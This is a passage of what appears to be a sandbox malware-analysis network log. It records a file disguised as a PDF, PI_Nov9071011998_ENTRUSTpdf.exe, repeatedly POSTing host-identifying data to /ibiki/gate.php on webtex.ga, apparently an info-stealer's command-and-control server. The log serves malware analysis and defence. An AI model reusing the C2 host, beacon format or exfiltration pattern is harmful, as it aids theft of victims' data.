Dec 3, 2020 10:03:07.834088087 CET	457	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:07.908293009 CET	482	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:25 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.3	49830	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:08.117953062 CET	493	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:08.134882927 CET	493	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:08.178643942 CET	495	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:25 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.3	49832	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:08.390971899 CET	525	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:08.408489943 CET	525	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:08.453232050 CET	527	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:25 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.3	49834	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:08.688532114 CET	582	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:08.706233978 CET	583	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:08.751399040 CET	584	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:25 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.3	49836	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:08.977335930 CET	614	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:08.994072914 CET	614	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:09.036973000 CET	653	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:26 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.3	49838	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:09.259969950 CET	659	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:09.276686907 CET	659	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:09.318355083 CET	667	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:26 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49720	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:33.073391914 CET	79	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:33.090715885 CET	80	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:33.145654917 CET	80	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:50 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.3	49839	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:09.551736116 CET	746	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:09.568320036 CET	746	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:09.610619068 CET	747	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:26 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.3	49841	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:09.837841988 CET	758	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:09.854460955 CET	758	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:09.896492004 CET	778	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:27 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.3	49842	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:10.292766094 CET	938	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:10.309562922 CET	938	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:10.357724905 CET	938	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:27 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.3	49844	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:10.678498983 CET	949	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:10.697562933 CET	949	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:10.771740913 CET	949	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:27 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.3	49845	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:11.071450949 CET	1144	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:11.090671062 CET	1144	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:11.214334011 CET	1145	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:28 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.3	49846	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:11.553112030 CET	1146	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:11.569849014 CET	1146	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:11.615847111 CET	1146	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:28 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.3	49848	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:11.821232080 CET	1196	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:11.840156078 CET	1197	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:11.875973940 CET	1197	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:29 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.3	49850	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:12.190367937 CET	1225	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:12.206964970 CET	1225	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:12.249257088 CET	1237	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:29 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.3	49851	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:12.493743896 CET	1238	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:12.512500048 CET	1238	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:12.555351019 CET	1239	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:29 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.3	49852	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:12.862106085 CET	1240	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:12.878895044 CET	1240	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:12.924524069 CET	1240	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:30 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49721	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:33.392092943 CET	81	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:33.408750057 CET	81	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:33.455180883 CET	81	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:50 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.3	49853	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:13.235860109 CET	1241	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:13.252685070 CET	1241	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:13.303884983 CET	1241	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:30 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.3	49854	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:13.990149021 CET	1242	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:14.006794930 CET	1243	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:14.050435066 CET	1243	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:31 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.3	49855	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:15.823745012 CET	1244	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:15.840392113 CET	1244	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:15.885561943 CET	1244	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:33 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.3	49856	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:16.269413948 CET	1245	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
